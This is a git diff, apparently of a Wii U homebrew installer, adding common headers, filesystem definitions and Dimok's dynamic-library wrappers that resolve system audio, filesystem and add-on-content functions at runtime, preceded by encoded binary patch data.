zY5Vx=R9-j_rf#vV_+0pI<Rl!6m3o+8JjQRXUgnTdmBzX=?MqWD@Eq}7+kf0uQU1cKYqRPf7loD9-mj?8~BrW zP4XvgEa5Mozd(7%Uqf2j>VI5$Lvn|FW_Yl_PhYC~uimN3i&f{=y3fD!PSxrgU1j3w z+&fhh=Q<0$sH2v)8FcqB*gPXnSWWZ&{VAw+DDJ?BK;<u$iG*{SaI!@SX zV#(q)mS|q4Rj;u^nW@)nloKsjCd0IGyz+^{wJ!R2XKHLQoj6Ii;NI{gs~P`>C+(4N z*H_HG5OOE_+^(vX=b9qSr$u$8wrb~3UdEpNS`mA64^wU(TMe7Ch^lQjH1 z=bZ4dlo>u>{;W)KS@Q zr&+{1Q)AaU#iI01FLs@vS#UjklKJv0!bL^$&eYgf$+_43Dnr-z`p0jI*es^iDh$PO#6yhk@HKP-8-daTk2Gt?{W%bN+s z7Vw2!JRdD$L_{N12)yWmSh!v`S4%1umOQC6-GbIV&awG}EK` z6_#j`Ez>QrlFd72S)x_8=xY#S;nn1ssINhYh1U@{YkYGEI#foMZ5?jz_iL=?gJf-hUjfKy}(?j;o)L8ffq>iZ6DQa^ zQ)A%|Q^vFQ&eT}=BWzpDJ5$AZu|@XIRD2j)B$CLJ=JME%(Jq&yxjeSqaAnY^-?kS&eTKH86p1T zoeY+!VSA%>u6t+d;R&tgS!e3wu7ILgXa)U{Pq!HAcl)U%*7`lo3=yBI z@3@GCd)V^mR?E{Xi2+OWNn)2J`l;vrdn_?P;^Olx@gCF~ud)PdVDHh-Sz<^M*I8m% z5;t06yCiP2gse3lz1tEyNi_aQ93n3V&wIaf$e3LEVwcX#rLT5rd1q?Oy)*UuRt#&9 zyzl!C+e6}^U6O}M5_EYEk~B{B@}9EvILgQnvho&Cst@my4lzCpy{r9N6JuNseP`-K z7j7;D5@RF;LTe6^F@e~EII&Q~iRsd&$APsjx4knp79lvIk$1T&Bg95DfAl+350)+Q zdcGR}tCtw)+Y6#2FDw}SB7@-D3-W?*FW}WtBkw!N_upQ?wMTt>K{ELE0$wfU>&hDh z3UjXvaPL9jY5U;Y3yS@>7nI~)L*Ud(1BI~8DATtWl#jfY9LNgR2I^lhHCwL8?`^4#uQpU8Tf2O&ou)*gN9>*z<{-NRY( z#N9|KvMLYWrm0UPruDf`dAQa+Evt9nkA4c@p5tYcyGJ#5Q@=ef?%%2?_X^7W@%~NN z|Kj16wB1>pdqVQ9PmapHz1#wC&qDC5vAz>Po;lV>1ahxX$layrKPx=?p(nkw*Pa(< zF)z*;xuIG7vftz8Qer>P#)y$}8~*c9Uf&R@s z&Y63X0av&OI&zO!`LC6*TZ!#%S9{PpZO=}Mls+Eyn7Tc|&Yi5hk3ice5ibu!+f!-o zp-*~!kwMa>nN#!x(jcuzOJ1InO=H&f_V(-XeE%?Z|T; z5;Xcq<*1vCUFb62+#}u2J-O#laFRTEsBb42^%RkNR#bySI_!UVcP=}9*)z!Jf93tT zqh@4hW}G#JZ!?EMa_%t1ak(7R3VU*B#7f=CAB9=fzV-gx@Hxm2SDo;0;AzI=;5nA} ze)vRX_d7ie$`RRBwwjzZna44TtCwY_$AO4&JM}F z$m!7D@CxG&n8Qe?{{eW5veXr}w#Y$p*xDk$u_V9zBKi_X(wDBxW8ptqImBJ~ugc*f z{8DK8lpi6F%lj%k$@FiAXPEvFJYPBTMHs(`e)LoDZe{8Ji1|Fq@kYdKlRk`?ZK1WW z`I)u0`(0NlM-INEpPbFq6L~~A%wd$Adw22+;De0sgo!PYhiYMeEIbPn6Hfj~c%|tR z!%_Z3F5@Xmxx!J}8r@|&9N9(9{_xk}kC~k9QDR#3!<;pU5?ikPZ^QV=m2(sPJ=0-K zM1N*FFT;-;)3?z-n-2d+|6z=8VhLl$HwP73W)D13SSYPr~N^$UX3HRUVlD zTlvve*vgmRn2hJCPM9O6IDb-31YgRpGPyDjhEFj0N8u&LzkpX86C3fuTZ)3~{_2iA1|IT$Jxew9RBlR-= za`h62qsm)5Dmjv1j&gd_`JYb`z3BIq-M82$f6TQ(y^?p4W-iEme7#a6k(|`4o&}#d zlFr#A`r#3INj=Os{#VzLN|@`Mj-OS^@pipeUPGt9%O{tIa@Udg9lq)AdXawnzs)y$ z_OWb{&%bpY=^9s=wB()ZNbg)na>LE-9N)Q)^v-ppcdjG7a~+8@`gRrPo$E+kZg~&8 z$#&S402TT}K+ZcH-Wq@qgH*?pHWF9{FUU5+z69) z<$n|2ZhQ~C$C&e`xobz9lg?c``ZN3;E9YbIkBvVGbH3V@&-vWkwWEvR7fsH2=-joV zzp>Nie4cB|m2ipaJOo?YBkzNcF&(aTg!Au=zR6IsM$VBg)QQJGu=%QuXDRC3Dw~o`NaY#nQ*&l~(4-Fg|td z#h%=?qgr^E>2$zmfA~6>m=^uW5d3N7@G_Wfu6(X5 z@a}_7|UHdI)&5l{6gHicA_ zzXeX}$&ZKqe{$_;JoTseBNqOTT|2r<+vL8bz4Eui{%5Y2Pstd*COFhDU$2y;?_h9f!v literal 0 HcmV?d00001 diff --git a/installer/src/common/common.h b/installer/src/common/common.h new file mode 100644 index 0000000..538b5ad --- /dev/null +++ b/installer/src/common/common.h @@ -0,0 +1,36 @@ +#ifndef COMMON_H +#define COMMON_H + +#ifdef __cplusplus +extern "C" { +#endif + +#include "os_defs.h" + +#define CAFE_OS_SD_PATH "/vol/external01" +#define SD_PATH "sd:" +#define WIIU_PATH "/wiiu" + +#ifndef MEM_BASE +#define MEM_BASE (0x00800000) +#endif + +#define ELF_DATA_ADDR (*(volatile unsigned int*)(MEM_BASE + 0x1300 + 0x00)) +#define ELF_DATA_SIZE (*(volatile unsigned int*)(MEM_BASE + 0x1300 + 0x04)) +#define MAIN_ENTRY_ADDR (*(volatile unsigned int*)(MEM_BASE + 0x1400 + 0x00)) +#define OS_FIRMWARE (*(volatile unsigned int*)(MEM_BASE + 0x1400 + 0x04)) + +#define OS_SPECIFICS ((OsSpecifics*)(MEM_BASE + 0x1500)) + +#ifndef EXIT_SUCCESS +#define EXIT_SUCCESS 0 +#endif +#define EXIT_HBL_EXIT 0xFFFFFFFE +#define EXIT_RELAUNCH_ON_LOAD 0xFFFFFFFD + +#ifdef __cplusplus +} +#endif + +#endif /* COMMON_H */ + diff --git a/installer/src/common/fs_defs.h b/installer/src/common/fs_defs.h new file mode 100644 index 0000000..feda725 --- /dev/null +++ b/installer/src/common/fs_defs.h @@ -0,0 +1,62 @@ +#ifndef FS_DEFS_H +#define FS_DEFS_H + +#include "types.h" + +#ifdef __cplusplus +extern "C" { +#endif + + +/* FS defines and types */ +#define FS_MAX_LOCALPATH_SIZE 511 +#define FS_MAX_MOUNTPATH_SIZE 128 +#define FS_MAX_FULLPATH_SIZE (FS_MAX_LOCALPATH_SIZE + FS_MAX_MOUNTPATH_SIZE) +#define FS_MAX_ARGPATH_SIZE FS_MAX_FULLPATH_SIZE + +#define FS_STATUS_OK 0 +#define FS_RET_UNSUPPORTED_CMD 0x0400 +#define FS_RET_NO_ERROR 0x0000 +#define FS_RET_ALL_ERROR (unsigned int)(-1) + +#define FS_STAT_FLAG_IS_DIRECTORY 0x80000000 + +/* max length of file/dir name */ +#define FS_MAX_ENTNAME_SIZE 256 + +#define FS_SOURCETYPE_EXTERNAL 0 +#define FS_SOURCETYPE_HFIO 1 +#define FS_SOURCETYPE_HFIO 1 + +#define FS_MOUNT_SOURCE_SIZE 0x300 +#define FS_CLIENT_SIZE 0x1700 +#define FS_CMD_BLOCK_SIZE 0xA80 + +typedef struct +{ + uint32_t flag; + uint32_t permission; + uint32_t owner_id; + uint32_t group_id; + uint32_t size; + uint32_t alloc_size; + uint64_t quota_size; + uint32_t ent_id; + uint64_t ctime; + uint64_t mtime; + uint8_t attributes[48]; +} __attribute__((packed)) FSStat; + +typedef struct +{ + FSStat stat; + char name[FS_MAX_ENTNAME_SIZE]; +} FSDirEntry; + + +#ifdef __cplusplus +} +#endif + +#endif /* FS_DEFS_H */ + diff --git a/installer/src/common/os_defs.h b/installer/src/common/os_defs.h new file mode 100644 index 0000000..48a4c8f --- /dev/null +++ b/installer/src/common/os_defs.h @@ -0,0 +1,25 @@ +#ifndef __OS_DEFS_H_ +#define __OS_DEFS_H_ + +#ifdef __cplusplus +extern "C" { +#endif + +typedef struct _OsSpecifics +{ + unsigned int addr_OSDynLoad_Acquire; + unsigned int addr_OSDynLoad_FindExport; + unsigned int addr_OSTitle_main_entry; + + unsigned int addr_KernSyscallTbl1; + unsigned int addr_KernSyscallTbl2; + unsigned int addr_KernSyscallTbl3; + unsigned int addr_KernSyscallTbl4; + unsigned int addr_KernSyscallTbl5; +} OsSpecifics; + +#ifdef __cplusplus +} +#endif + +#endif // __OS_DEFS_H_ diff --git a/installer/src/common/types.h b/installer/src/common/types.h new file mode 100644 index 0000000..3435e56 --- /dev/null +++ b/installer/src/common/types.h @@ -0,0 +1,7 @@ +#ifndef TYPES_H +#define TYPES_H + +#include + +#endif /* TYPES_H */ + diff --git a/installer/src/dynamic_libs/.gitattributes b/installer/src/dynamic_libs/.gitattributes new file mode 100644 index 0000000..bdb0cab --- /dev/null +++ b/installer/src/dynamic_libs/.gitattributes @@ -0,0 +1,17 @@ +# Auto detect text files and perform LF normalization +* text=auto + +# Custom for Visual Studio +*.cs diff=csharp + +# Standard to msysgit +*.doc diff=astextplain +*.DOC diff=astextplain +*.docx diff=astextplain +*.DOCX diff=astextplain +*.dot diff=astextplain +*.DOT diff=astextplain +*.pdf diff=astextplain +*.PDF diff=astextplain +*.rtf diff=astextplain +*.RTF diff=astextplain diff --git a/installer/src/dynamic_libs/.gitignore b/installer/src/dynamic_libs/.gitignore new file mode 100644 index 0000000..cd2946a --- /dev/null +++ b/installer/src/dynamic_libs/.gitignore @@ -0,0 +1,47 @@ +# Windows image file caches +Thumbs.db +ehthumbs.db + +# Folder config file +Desktop.ini + +# Recycle Bin used on file shares +$RECYCLE.BIN/ + +# Windows Installer files +*.cab +*.msi +*.msm +*.msp + +# Windows shortcuts +*.lnk + +# ========================= +# Operating System Files +# ========================= + +# OSX +# ========================= + +.DS_Store +.AppleDouble +.LSOverride + +# Thumbnails +._* + +# Files that might appear in the root of a volume +.DocumentRevisions-V100 +.fseventsd +.Spotlight-V100 +.TemporaryItems +.Trashes +.VolumeIcon.icns + +# Directories potentially created on remote AFP share +.AppleDB +.AppleDesktop +Network Trash Folder +Temporary Items +.apdisk diff --git a/installer/src/dynamic_libs/README.md b/installer/src/dynamic_libs/README.md new file mode 100644 index 0000000..be82302 --- /dev/null +++ b/installer/src/dynamic_libs/README.md @@ -0,0 +1,2 @@ +# dynamic_libs +Dynamic libs for WiiU homebrew diff --git a/installer/src/dynamic_libs/acp_functions.c b/installer/src/dynamic_libs/acp_functions.c new file mode 100644 index 0000000..eb931f8 --- /dev/null +++ b/installer/src/dynamic_libs/acp_functions.c @@ -0,0 +1,40 @@ +/**************************************************************************** + * Copyright (C) 2015 + * by Dimok + * + * This software is provided 'as-is', without any express or implied + * warranty. In no event will the authors be held liable for any + * damages arising from the use of this software. + * + * Permission is granted to anyone to use this software for any + * purpose, including commercial applications, and to alter it and + * redistribute it freely, subject to the following restrictions: + * + * 1. The origin of this software must not be misrepresented; you + * must not claim that you wrote the original software. If you use + * this software in a product, an acknowledgment in the product + * documentation would be appreciated but is not required. + * + * 2. Altered source versions must be plainly marked as such, and + * must not be misrepresented as being the original software. + * + * 3. This notice may not be removed or altered from any source + * distribution. + ***************************************************************************/ +#include "os_functions.h" +#include "acp_functions.h" + +unsigned int acp_handle __attribute__((section(".data"))) = 0; + +EXPORT_DECL(void, GetMetaXml, void * _ACPMetaXml); + +void InitAcquireACP(void) +{ + OSDynLoad_Acquire("nn_acp.rpl", &acp_handle); +} + +void InitACPFunctionPointers(void) +{ + InitAcquireACP(); + OSDynLoad_FindExport(acp_handle,0,"GetMetaXml__Q2_2nn3acpFP11_ACPMetaXml",&GetMetaXml); +} diff --git a/installer/src/dynamic_libs/acp_functions.h b/installer/src/dynamic_libs/acp_functions.h new file mode 100644 index 0000000..dc1822d --- /dev/null +++ b/installer/src/dynamic_libs/acp_functions.h @@ -0,0 +1,42 @@ +/**************************************************************************** + * Copyright (C) 2015 + * by Dimok + * + * This software is provided 'as-is', without any express or implied + * warranty. In no event will the authors be held liable for any + * damages arising from the use of this software. + * + * Permission is granted to anyone to use this software for any + * purpose, including commercial applications, and to alter it and + * redistribute it freely, subject to the following restrictions: + * + * 1. The origin of this software must not be misrepresented; you + * must not claim that you wrote the original software. If you use + * this software in a product, an acknowledgment in the product + * documentation would be appreciated but is not required. + * + * 2. Altered source versions must be plainly marked as such, and + * must not be misrepresented as being the original software. + * + * 3. This notice may not be removed or altered from any source + * distribution. + ***************************************************************************/ +#ifndef __ACP_FUNCTIONS_H_ +#define __ACP_FUNCTIONS_H_ + +#ifdef __cplusplus +extern "C" { +#endif + +#include + +extern unsigned int acp_handle; + +void InitACPFunctionPointers(void); +void InitAcquireACP(void); + +#ifdef __cplusplus +} +#endif + +#endif // __VPAD_FUNCTIONS_H_ diff --git a/installer/src/dynamic_libs/aoc_functions.c b/installer/src/dynamic_libs/aoc_functions.c new file mode 100644 index 0000000..e74306d --- /dev/null +++ b/installer/src/dynamic_libs/aoc_functions.c @@ -0,0 +1,58 @@ +/**************************************************************************** + * Copyright (C) 2015 + * by Dimok + * + * This software is provided 'as-is', without any express or implied + * warranty. In no event will the authors be held liable for any + * damages arising from the use of this software. + * + * Permission is granted to anyone to use this software for any + * purpose, including commercial applications, and to alter it and + * redistribute it freely, subject to the following restrictions: + * + * 1. The origin of this software must not be misrepresented; you + * must not claim that you wrote the original software. If you use + * this software in a product, an acknowledgment in the product + * documentation would be appreciated but is not required. + * + * 2. Altered source versions must be plainly marked as such, and + * must not be misrepresented as being the original software. + * + * 3. This notice may not be removed or altered from any source + * distribution. + ***************************************************************************/ +#include "os_functions.h" +#include "aoc_functions.h" + +unsigned int aoc_handle __attribute__((section(".data"))) = 0; + +EXPORT_DECL(s32, AOC_Initialize, void); +EXPORT_DECL(s32, AOC_Finalize, void); +EXPORT_DECL(u32, AOC_CalculateWorkBufferSize, u32 num_titles); +EXPORT_DECL(s32, AOC_ListTitle, u32 * num_titles, void * titles, u32 max_titles, void * buffer, u32 buffer_size); +EXPORT_DECL(s32, AOC_OpenTitle, char* aoc_path, void * title, void * buffer, u32 buffer_size); +EXPORT_DECL(s32, AOC_CloseTitle, void * title); +EXPORT_DECL(s32, AOC_DeleteContent, u64 title_id, u16 contentIndexes[], u32 numberOfContent, void* buffer, u32 buffer_size); +EXPORT_DECL(s32, AOC_GetPurchaseInfo, u32 * bResult, u64 title_id, u16 contentIndexes[], u32 numberOfContent, void * buffer, u32 buffer_size); + +void InitAcquireAoc(void) +{ + OSDynLoad_Acquire("nn_aoc.rpl", &aoc_handle); +} + +void InitAocFunctionPointers(void) +{ + InitAcquireAoc(); + if(aoc_handle == 0) + return; + + //! assigning those is not mandatory and it does not always work to load them + OSDynLoad_FindExport(aoc_handle, 0, "AOC_Initialize", &AOC_Initialize); + OSDynLoad_FindExport(aoc_handle, 0, "AOC_Finalize", &AOC_Finalize); + OSDynLoad_FindExport(aoc_handle, 0, "AOC_CalculateWorkBufferSize", &AOC_CalculateWorkBufferSize); + OSDynLoad_FindExport(aoc_handle, 0, "AOC_ListTitle", &AOC_ListTitle); + OSDynLoad_FindExport(aoc_handle, 0, "AOC_OpenTitle", &AOC_OpenTitle); + OSDynLoad_FindExport(aoc_handle, 0, "AOC_CloseTitle", &AOC_CloseTitle); + OSDynLoad_FindExport(aoc_handle, 0, "AOC_DeleteContent", &AOC_DeleteContent); + OSDynLoad_FindExport(aoc_handle, 0, "AOC_GetPurchaseInfo", &AOC_GetPurchaseInfo); +} diff --git a/installer/src/dynamic_libs/aoc_functions.h b/installer/src/dynamic_libs/aoc_functions.h new file mode 100644 index 0000000..efca771 --- /dev/null +++ b/installer/src/dynamic_libs/aoc_functions.h @@ -0,0 +1,58 @@ +/**************************************************************************** + * Copyright (C) 2015 + * by Dimok + * + * This software is provided 'as-is', without any express or implied + * warranty. In no event will the authors be held liable for any + * damages arising from the use of this software. + * + * Permission is granted to anyone to use this software for any + * purpose, including commercial applications, and to alter it and + * redistribute it freely, subject to the following restrictions: + * + * 1. The origin of this software must not be misrepresented; you + * must not claim that you wrote the original software. If you use + * this software in a product, an acknowledgment in the product + * documentation would be appreciated but is not required. + * + * 2. Altered source versions must be plainly marked as such, and + * must not be misrepresented as being the original software. + * + * 3. This notice may not be removed or altered from any source + * distribution. + ***************************************************************************/ +#ifndef __AOC_FUNCTIONS_H_ +#define __AOC_FUNCTIONS_H_ + +#ifdef __cplusplus +extern "C" { +#endif + +extern unsigned int aoc_handle; + +#define AOC_TITLE_SIZE 104 + +typedef struct { + u64 title_ID; + u32 group_ID; + u16 version; + char path[88]; +} AOC_TitleListType; + + +void InitAocFunctionPointers(void); +void InitAcquireAoc(void); + +extern s32 (* AOC_Initialize)(void); +extern s32 (* AOC_Finalize)(void); +extern u32 (* AOC_CalculateWorkBufferSize)(u32 num_titles); +extern s32 (* AOC_ListTitle)(u32 * num_titles, void * titles, u32 max_titles, void * buffer, u32 buffer_size); +extern s32 (* AOC_OpenTitle)(char* aoc_path, void * title, void * buffer, u32 buffer_size); +extern s32 (* AOC_CloseTitle)(void * title); +extern s32 (* AOC_DeleteContent)(u64 title_id, u16 contentIndexes[], u32 numberOfContent, void * buffer, u32 buffer_size); +extern s32 (* AOC_GetPurchaseInfo)(u32 * bResult, u64 title_id, u16 contentIndexes[], u32 numberOfContent, void * buffer, u32 buffer_size); +#ifdef __cplusplus +} +#endif + +#endif // __AOC_FUNCTIONS_H_ diff --git a/installer/src/dynamic_libs/ax_functions.c b/installer/src/dynamic_libs/ax_functions.c new file mode 100644 index 0000000..e517f6d --- /dev/null +++ b/installer/src/dynamic_libs/ax_functions.c @@ -0,0 +1,118 @@ +/**************************************************************************** + * Copyright (C) 2015 + * by Dimok + * + * This software is provided 'as-is', without any express or implied + * warranty. In no event will the authors be held liable for any + * damages arising from the use of this software. + * + * Permission is granted to anyone to use this software for any + * purpose, including commercial applications, and to alter it and + * redistribute it freely, subject to the following restrictions: + * + * 1. The origin of this software must not be misrepresented; you + * must not claim that you wrote the original software. If you use + * this software in a product, an acknowledgment in the product + * documentation would be appreciated but is not required. + * + * 2. Altered source versions must be plainly marked as such, and + * must not be misrepresented as being the original software. + * + * 3. This notice may not be removed or altered from any source + * distribution. + ***************************************************************************/ +#include "common/common.h" +#include "os_functions.h" +#include "ax_functions.h" + +unsigned int sound_handle __attribute__((section(".data"))) = 0; + +EXPORT_DECL(void, AXInitWithParams, u32 * params); +EXPORT_DECL(void, AXInit, void); +EXPORT_DECL(void, AXQuit, void); +EXPORT_DECL(u32, AXGetInputSamplesPerSec, void); +EXPORT_DECL(u32, AXGetInputSamplesPerFrame, void); +EXPORT_DECL(s32, AXVoiceBegin, void *v); +EXPORT_DECL(s32, AXVoiceEnd, void *v); +EXPORT_DECL(void, AXSetVoiceType, void *v, u16 type); +EXPORT_DECL(void, AXSetVoiceOffsets, void *v, const void *buf); +EXPORT_DECL(void, AXSetVoiceSrcType, void *v, u32 type); +EXPORT_DECL(void, AXSetVoiceVe, void *v, const void *vol); +EXPORT_DECL(s32, AXSetVoiceDeviceMix, void *v, s32 device, u32 id, void *mix); +EXPORT_DECL(void, AXSetVoiceState, void *v, u16 state); +EXPORT_DECL(void, AXSetVoiceSrc, void *v, const void *src); +EXPORT_DECL(s32, AXSetVoiceSrcRatio, void *v,f32 ratio) +EXPORT_DECL(void *, AXAcquireVoice, u32 prio, void * callback, u32 arg); +EXPORT_DECL(void, AXFreeVoice, void *v); +EXPORT_DECL(void, AXRegisterFrameCallback, void * callback); +EXPORT_DECL(u32, AXGetVoiceLoopCount, void *v); +EXPORT_DECL(void, AXSetVoiceEndOffset, void *v, u32 offset); +EXPORT_DECL(void, AXSetVoiceLoopOffset, void *v, u32 offset); + +void InitAcquireAX(void) +{ + unsigned int *funcPointer = 0; + + if(OS_FIRMWARE >= 400) + { + AXInit = 0; + + OSDynLoad_Acquire("sndcore2.rpl", &sound_handle); + OS_FIND_EXPORT(sound_handle, AXInitWithParams); + OS_FIND_EXPORT(sound_handle, AXGetInputSamplesPerSec); + } + else + { + AXInitWithParams = 0; + AXGetInputSamplesPerSec = 0; + + OSDynLoad_Acquire("snd_core.rpl", &sound_handle); + OS_FIND_EXPORT(sound_handle, AXInit); + } +} + +void InitAXFunctionPointers(void) +{ + unsigned int *funcPointer = 0; + + InitAcquireAX(); + + OS_FIND_EXPORT(sound_handle, AXQuit); + OS_FIND_EXPORT(sound_handle, AXVoiceBegin); + OS_FIND_EXPORT(sound_handle, AXVoiceEnd); + OS_FIND_EXPORT(sound_handle, AXSetVoiceType); + OS_FIND_EXPORT(sound_handle, AXSetVoiceOffsets); + OS_FIND_EXPORT(sound_handle, AXSetVoiceSrcType); + OS_FIND_EXPORT(sound_handle, AXSetVoiceVe); + OS_FIND_EXPORT(sound_handle, AXSetVoiceDeviceMix); + OS_FIND_EXPORT(sound_handle, AXSetVoiceState); + OS_FIND_EXPORT(sound_handle, AXSetVoiceSrc); + OS_FIND_EXPORT(sound_handle, AXSetVoiceSrcRatio); + OS_FIND_EXPORT(sound_handle, AXAcquireVoice); + OS_FIND_EXPORT(sound_handle, AXFreeVoice); + OS_FIND_EXPORT(sound_handle, AXRegisterFrameCallback); + OS_FIND_EXPORT(sound_handle, AXGetVoiceLoopCount); + OS_FIND_EXPORT(sound_handle, AXSetVoiceEndOffset); + OS_FIND_EXPORT(sound_handle, AXSetVoiceLoopOffset); +} + +void ProperlyEndTransitionAudio(void) +{ + bool (* check_os_audio_transition_flag_old)(void); + void (* AXInit_old)(void); + void (* AXQuit_old)(void); + + unsigned int *funcPointer = 0; + unsigned int sound_handle; + OSDynLoad_Acquire("snd_core.rpl", &sound_handle); + + OS_FIND_EXPORT_EX(sound_handle, check_os_audio_transition_flag, check_os_audio_transition_flag_old); + OS_FIND_EXPORT_EX(sound_handle, AXInit, AXInit_old); + OS_FIND_EXPORT_EX(sound_handle, AXQuit, AXQuit_old); + + if (check_os_audio_transition_flag_old()) + { + AXInit_old(); + AXQuit_old(); + } +} diff --git a/installer/src/dynamic_libs/ax_functions.h b/installer/src/dynamic_libs/ax_functions.h new file mode 100644 index 0000000..086346f --- /dev/null +++ b/installer/src/dynamic_libs/ax_functions.h @@ -0,0 +1,64 @@ +/**************************************************************************** + * Copyright (C) 2015 + * by Dimok + * + * This software is provided 'as-is', without any express or implied + * warranty. In no event will the authors be held liable for any + * damages arising from the use of this software. + * + * Permission is granted to anyone to use this software for any + * purpose, including commercial applications, and to alter it and + * redistribute it freely, subject to the following restrictions: + * + * 1. The origin of this software must not be misrepresented; you + * must not claim that you wrote the original software. If you use + * this software in a product, an acknowledgment in the product + * documentation would be appreciated but is not required. + * + * 2. Altered source versions must be plainly marked as such, and + * must not be misrepresented as being the original software. + * + * 3. This notice may not be removed or altered from any source + * distribution. + ***************************************************************************/ +#ifndef __AX_FUNCTIONS_H_ +#define __AX_FUNCTIONS_H_ + +#ifdef __cplusplus +extern "C" { +#endif + +#include + +extern unsigned int sound_handle; + +void InitAXFunctionPointers(void); +void InitAcquireAX(void); +void ProperlyEndTransitionAudio(void); + +extern void (* AXInitWithParams)(u32 * params); +extern void (* AXInit)(void); +extern void (* AXQuit)(void); +extern u32 (* AXGetInputSamplesPerSec)(void); +extern s32 (* AXVoiceBegin)(void *v); +extern s32 (* AXVoiceEnd)(void *v); +extern void (* AXSetVoiceType)(void *v, u16 type); +extern void (* AXSetVoiceOffsets)(void *v, const void *buf); +extern void (* AXSetVoiceSrcType)(void *v, u32 type); +extern void (* AXSetVoiceVe)(void *v, const void *vol); +extern s32 (* AXSetVoiceDeviceMix)(void *v, s32 device, u32 id, void *mix); +extern void (* AXSetVoiceState)(void *v, u16 state); +extern void (* AXSetVoiceSrc)(void *v, const void *src); +extern s32 (* AXSetVoiceSrcRatio)(void *v, f32 ratio); +extern void * (* AXAcquireVoice)(u32 prio, void * callback, u32 arg); +extern void (* AXFreeVoice)(void *v); +extern void (* AXRegisterFrameCallback)(void * callback); +extern u32 (* AXGetVoiceLoopCount)(void * v); +extern void (* AXSetVoiceEndOffset)(void * v, u32 offset); +extern void (* AXSetVoiceLoopOffset)(void * v, u32 offset); + +#ifdef __cplusplus +} +#endif + +#endif // __VPAD_FUNCTIONS_H_ diff --git a/installer/src/dynamic_libs/fs_defs.h b/installer/src/dynamic_libs/fs_defs.h new file mode 100644 index 0000000..1b1bc41 --- /dev/null +++ b/installer/src/dynamic_libs/fs_defs.h @@ -0,0 +1,61 @@ +#ifndef FS_DEFS_H +#define FS_DEFS_H + +#include + +#ifdef __cplusplus +extern "C" { +#endif + + +/* FS defines and types */ +#define FS_MAX_LOCALPATH_SIZE 511 +#define FS_MAX_MOUNTPATH_SIZE 128 +#define FS_MAX_FULLPATH_SIZE (FS_MAX_LOCALPATH_SIZE + FS_MAX_MOUNTPATH_SIZE) +#define FS_MAX_ARGPATH_SIZE FS_MAX_FULLPATH_SIZE + +#define FS_STATUS_OK 0 +#define FS_RET_UNSUPPORTED_CMD 0x0400 +#define FS_RET_NO_ERROR 0x0000 +#define FS_RET_ALL_ERROR (unsigned int)(-1) + +#define FS_STAT_FLAG_IS_DIRECTORY 0x80000000 + +/* max length of file/dir name */ +#define FS_MAX_ENTNAME_SIZE 256 + +#define FS_SOURCETYPE_EXTERNAL 0 +#define FS_SOURCETYPE_HFIO 1 + +#define FS_MOUNT_SOURCE_SIZE 0x300 +#define FS_CLIENT_SIZE 0x1700 +#define FS_CMD_BLOCK_SIZE 0xA80 + +typedef struct +{ + uint32_t flag; + uint32_t permission; + uint32_t owner_id; + uint32_t group_id; + uint32_t size; + uint32_t alloc_size; + uint64_t quota_size; + uint32_t ent_id; + uint64_t ctime; + uint64_t mtime; + uint8_t attributes[48]; +} __attribute__((packed)) FSStat; + +typedef struct +{ + FSStat stat; + char name[FS_MAX_ENTNAME_SIZE]; +} FSDirEntry; + + +#ifdef __cplusplus +} +#endif + +#endif /* FS_DEFS_H */ + diff --git a/installer/src/dynamic_libs/fs_functions.c b/installer/src/dynamic_libs/fs_functions.c new file mode 100644 index 0000000..08a4fb6 --- /dev/null +++ b/installer/src/dynamic_libs/fs_functions.c @@ -0,0 +1,131 @@ +/**************************************************************************** + * Copyright (C) 2015 + * by Dimok + * + * This software is provided 'as-is', without any express or implied + * warranty. In no event will the authors be held liable for any + * damages arising from the use of this software. + * + * Permission is granted to anyone to use this software for any + * purpose, including commercial applications, and to alter it and + * redistribute it freely, subject to the following restrictions: + * + * 1. The origin of this software must not be misrepresented; you + * must not claim that you wrote the original software. If you use + * this software in a product, an acknowledgment in the product + * documentation would be appreciated but is not required. + * + * 2. Altered source versions must be plainly marked as such, and + * must not be misrepresented as being the original software. + * + * 3. This notice may not be removed or altered from any source + * distribution. + ***************************************************************************/ +#include "fs_functions.h" +#include "os_functions.h" + +EXPORT_DECL(int, FSInit, void); +EXPORT_DECL(int, FSShutdown, void); +EXPORT_DECL(int, FSAddClientEx, void *pClient, int unk_zero_param, int errHandling); +EXPORT_DECL(int, FSDelClient, void *pClient); +EXPORT_DECL(void, FSInitCmdBlock, void *pCmd); +EXPORT_DECL(int, FSGetMountSource, void *pClient, void *pCmd, int type, void *source, int errHandling); + +EXPORT_DECL(int, FSMount, void *pClient, void *pCmd, void *source, char *target, uint32_t bytes, int errHandling); +EXPORT_DECL(int, FSUnmount, void *pClient, void *pCmd, const char *target, int errHandling); + +EXPORT_DECL(int, FSGetStat, void *pClient, void *pCmd, const char *path, FSStat *stats, int errHandling); +EXPORT_DECL(int, FSGetStatAsync, void *pClient, void *pCmd, const char *path, void *stats, int error, void *asyncParams); +EXPORT_DECL(int, FSRename, void *pClient, void *pCmd, const char *oldPath, const char *newPath, int error); +EXPORT_DECL(int, FSRenameAsync, void *pClient, void *pCmd, const char *oldPath, const char *newPath, int error, void *asyncParams); +EXPORT_DECL(int, FSRemove, void *pClient, void *pCmd, const char *path, int error); +EXPORT_DECL(int, FSRemoveAsync, void *pClient, void *pCmd, const char *path, int error, void *asyncParams); +EXPORT_DECL(int, FSFlushQuota, void *pClient, void *pCmd, const char* path, int error); +EXPORT_DECL(int, FSFlushQuotaAsync, void *pClient, void *pCmd, const char *path, int error, void *asyncParams); +EXPORT_DECL(int, FSGetFreeSpaceSize, void *pClient, void *pCmd, const char *path, uint64_t *returnedFreeSize, int error); +EXPORT_DECL(int, FSGetFreeSpaceSizeAsync, void *pClient, void *pCmd, const char *path, uint64_t *returnedFreeSize, int error, void *asyncParams); +EXPORT_DECL(int, FSRollbackQuota, void *pClient, void *pCmd, const char *path, int error); +EXPORT_DECL(int, FSRollbackQuotaAsync, void *pClient, void *pCmd, const char *path, int error, void *asyncParams); + +EXPORT_DECL(int, FSOpenDir, void *pClient, void *pCmd, const char *path, int *dh, int errHandling); +EXPORT_DECL(int, FSOpenDirAsync, void *pClient, void* pCmd, const char *path, int *handle, int error, void *asyncParams); +EXPORT_DECL(int, FSReadDir, void *pClient, void *pCmd, int dh, FSDirEntry *dir_entry, int errHandling); +EXPORT_DECL(int, FSRewindDir, void *pClient, void *pCmd, int dh, int errHandling); +EXPORT_DECL(int, FSCloseDir, void *pClient, void *pCmd, int dh, int errHandling); +EXPORT_DECL(int, FSChangeDir, void *pClient, void *pCmd, const char *path, int errHandling); +EXPORT_DECL(int, FSChangeDirAsync, void *pClient, void *pCmd, const char *path, int error, void *asyncParams); +EXPORT_DECL(int, FSMakeDir, void *pClient, void *pCmd, const char *path, int errHandling); 